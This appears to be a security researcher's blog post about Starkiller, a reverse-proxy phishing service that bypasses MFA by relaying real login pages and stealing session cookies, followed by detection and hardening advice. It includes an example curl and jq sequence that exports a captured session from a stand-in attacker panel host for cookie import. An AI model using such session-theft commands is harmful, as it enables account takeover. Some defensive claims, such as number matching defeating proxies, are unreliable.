Starkiller Phishing: MFA Bypass via Reverse Proxies

I almost clicked the link. That's what haunts me.

It was 2 AM, I was half-asleep reviewing a "Microsoft 365 Security Alert" email, and something felt off just enough to stop me. The domain looked right. The branding was perfect. The URL started with https:// and had that comforting green lock. But my lizard brain screamed before my thumb clicked. Good thing, too — that link led to Starkiller, and I would've given away everything.

We've Been Playing Defense Wrong

For years, we told users: "Look for the lock." "Check the URL." "Enable MFA and you're safe."

Those rules are dead.

Starkiller — currently the most sophisticated phishing-as-a-service (PhaaS) platform floating through Russian-language forums — doesn't clone login pages. It proxies the real ones. Your phishing link connects to an attacker-controlled server that fetches Microsoft's actual login page in real-time, modifies it just enough to capture credentials and session tokens, then passes your clicks through to the legitimate backend.

The victim sees a perfect, unspoofable Microsoft login. Because it is Microsoft. The attacker sits in the middle, harvesting credentials and MFA tokens as they flow through.

How Reverse-Proxy Phishing Works

Traditional phishing sites are static copies. You can spot them: slightly wrong fonts, mismatched certificates, suspicious domains. Security tools fingerprint these clones and block them fast.

Reverse-proxy phishing operates differently. The architecture looks like this:

Victim → Attacker Server (Starkiller) → Legitimate Service (Microsoft/oauth2)
              ↓                              ↓
        Harvests credentials              Returns real response
        Snags session cookies              Displays actual page

When you enter your password on a Starkiller-proxied page, your credentials hit the attacker's server first. They log it, then forward it to Microsoft. Microsoft returns the MFA challenge — which the proxy displays perfectly. You enter your 6-digit code. The proxy grabs that too, forwards it to Microsoft, and captures the resulting session token.

The attacker now has:

• Your username/password
• Your TOTP/HOTP code (though it's burned now)
• Your valid session cookie

SMS, authenticator apps, hardware keys — none of them help. The authentication flows to the real service. You're logging in. It's just that someone else is logging in right after you.

The Commoditization Problem

Here's what keeps me up at night: this used to require serious engineering.

Building a reverse proxy that handles TLS termination, session management, and real-time content rewriting for multiple target platforms is hard. You need to:

• Strip and re-inject HTTP headers without breaking functionality
• Handle WebSocket connections for MFA push notifications
• Rewrite JavaScript in transit to maintain the proxy chain
• Support diverse authentication flows across dozens of services

Starkiller does all of this. And sells it as a subscription service.

The service provides:

• Prebuilt templates for Microsoft 365, VPN concentrators (Cisco, Palo Alto, Fortinet), major banks
• Real-time dashboard showing captured credentials and active sessions
• Automatic cookie extraction for session hijacking
• Integration with Telegram bots for instant attacker notifications
• Configurable 2FA handling (waiting for users to complete MFA before notifying attackers)

Attackers configure these proxies to block known security scanner IP ranges and route harvested sessions directly through encrypted channels. The proxy waits until you finish your MFA dance, grabs the valid session, then immediately exports it. The attacker can be logged into your email before you've even seen your inbox.

What Makes Detection Nearly Impossible

Standard phishing detection relies on indicators of compromise (IOCs): malicious domains, known-bad IPs, certificate fingerprints. Starkiller obliterates these approaches.

An attacker-controlled lookalike domain might get flagged eventually. But attackers rotate domains constantly. And here's the thing: the content is identical to the legitimate site. No static analysis tool can tell the difference between a reverse-proxied Microsoft login and the real one by looking at the page source. Because they are the same page.

Security researchers have tested reverse-proxy phishing through multiple detection platforms. The results are consistently discouraging. Certificate transparency checks show valid corporate certificates. Content analysis finds nothing malicious — because the content isn't malicious. The page is being served from legitimate infrastructure, just proxied.

Many traditional detection engines simply don't flag these sites. The only signals come from behavioral analysis or threat intelligence that tracks the proxy infrastructure itself — neither of which catches these attacks during the critical window after deployment.

The Session Hijacking Vector

Traditional phishing requires attackers to use stolen credentials immediately. If you change your password, they're locked out. But reverse-proxy attacks steal sessions, not just passwords.

When the attacker captures your session cookie, they can import it into their browser and become "you" without ever authenticating. This is how the attack works in practice:

# Attacker exports captured session
curl -X POST https://starkiller-panel.example/api/export \
  -H "Authorization: Bearer TOKEN" \
  -d '{"session_id": "abc123"}' > stolen_session.json

# Attacker imports into their browser using Cookie-Editor extension
cat stolen_session.json | jq '.cookies[] | {name: .name, value: .value, domain: .domain}'

If an attacker loads those cookies into a browser and navigates to the legitimate service, the inbox loads. No password prompt. No MFA request. Full access.

Microsoft will eventually expire that session — usually 1-90 days depending on your tenant's Conditional Access policies. But a lot of damage happens in 24 hours.

Detection Requires Behavioral Analysis

Since static indicators fail, detection must shift to behavioral signals. Here's what actually works:

Impossible travel velocity. If I logged in from Austin at 9:00 AM and a matching session fired from Eastern Europe 30 minutes later, that's physically impossible. Azure AD Identity Protection catches some of this, but only if the attacker's session triggers a measurable event.

Network latency anomalies. Reverse proxies add measurable round-trip time. Authentication requests through a legitimate direct connection complete faster than the same requests when routed through an attacker's proxy infrastructure. This isn't something users notice, but passive network monitoring can spot patterns where authentication requests consistently show abnormal delay signatures.

User-agent inconsistencies. The proxy passes your real user-agent through, but session import often happens from different browsers or operating systems. Microsoft 365 logs can show a Chrome/Windows user-agent for the initial login, then Firefox/Linux for subsequent activity from the same session.

Certificate transparency monitoring. Starkiller operators need SSL certificates. Monitoring CT logs for new certificates containing "microsoft," "365," or common brand names in unusual contexts can surface attack infrastructure early.

Canary tokens in authentication flows. Some advanced defenders inject invisible tracking pixels or unique JavaScript into login flows at the network edge. If those appear on unexpected domains, you've got a proxy.

Browser fingerprint drift. Tools like FingerprintJS can detect when the same session originates from devices with significantly different canvas fingerprints, WebGL signatures, or timezone settings.

What Organizations Can Do Now

There is no silver bullet. But you can make reverse-proxy phishing significantly harder:

Push phishing-resistant MFA everywhere. FIDO2/WebAuthn hardware keys (YubiKeys, Titan Security Keys) can't be proxied in the same way because the cryptographic assertion is bound to the origin. The proxy domain won't match the origin the key signed. If your org still relies on TOTP or SMS, you're vulnerable.

Implement conditional access policies. Require compliant or hybrid-joined devices for resource access. Reverse-proxy attackers can't easily spoof device certificates or join their machines to your Intune tenant.

Shorten session lifetimes. Set Azure AD session lifetime to "every time" for high-risk applications, or at least "every session" for admin accounts. Yes, this creates friction. Friction is the point.

Deploy certificate pinning warnings. Tools like CertSpotter or Facebook's Certificate Transparency Monitoring can alert you when certificates matching your brand appear from unexpected issuers.

Train users on context, not links. "Check the URL" training is obsolete. Teach users to pause when an authentication request feels unexpected — even if the site looks perfect. Did you request this login? Why now? That 2 AM email was suspicious not because it looked wrong, but because it was 2 AM.

Monitor for concurrent sessions aggressively. Same user, two active sessions, different geos = immediate investigation. Don't wait for "impossible travel" alerts. Build your own.

Use app-based MFA with number matching. Microsoft Authenticator's number-matching feature forces users to enter a code shown on-screen into their phone. Reverse proxies struggle with this because they can't easily inject dynamic challenges back through the proxy chain without timing issues.

The Bigger Picture

Starkiller isn't the problem. It's a symptom.

The problem is that we've built authentication systems designed for a world where attackers couldn't afford infrastructure. That world ended. With a subscription service and a way to pay, anyone can deploy reverse-proxy attacks that bypass 2FA, fool security tools, and harvest enterprise credentials at scale.

The commoditization of advanced attacks follows a predictable curve. First it's custom exploit chains reserved for nation-states. Then it shows up in private criminal forums. Then it becomes a subscription service with a web dashboard and Telegram notifications. We're at stage three.

Defenders need to stop treating MFA as a checkbox and start treating identity as a continuous risk context. Who is asking? From where? On what device? Under what circumstances? Until we build systems that weigh these factors dynamically, Starkiller and its successors will keep winning.

I almost clicked that link. These days, I triple-check everything — and I still worry it's not enough.

---

rainkode is a security researcher who spends too much time on Russian-language forums. Follow for more uncomfy truths about how attacks actually work.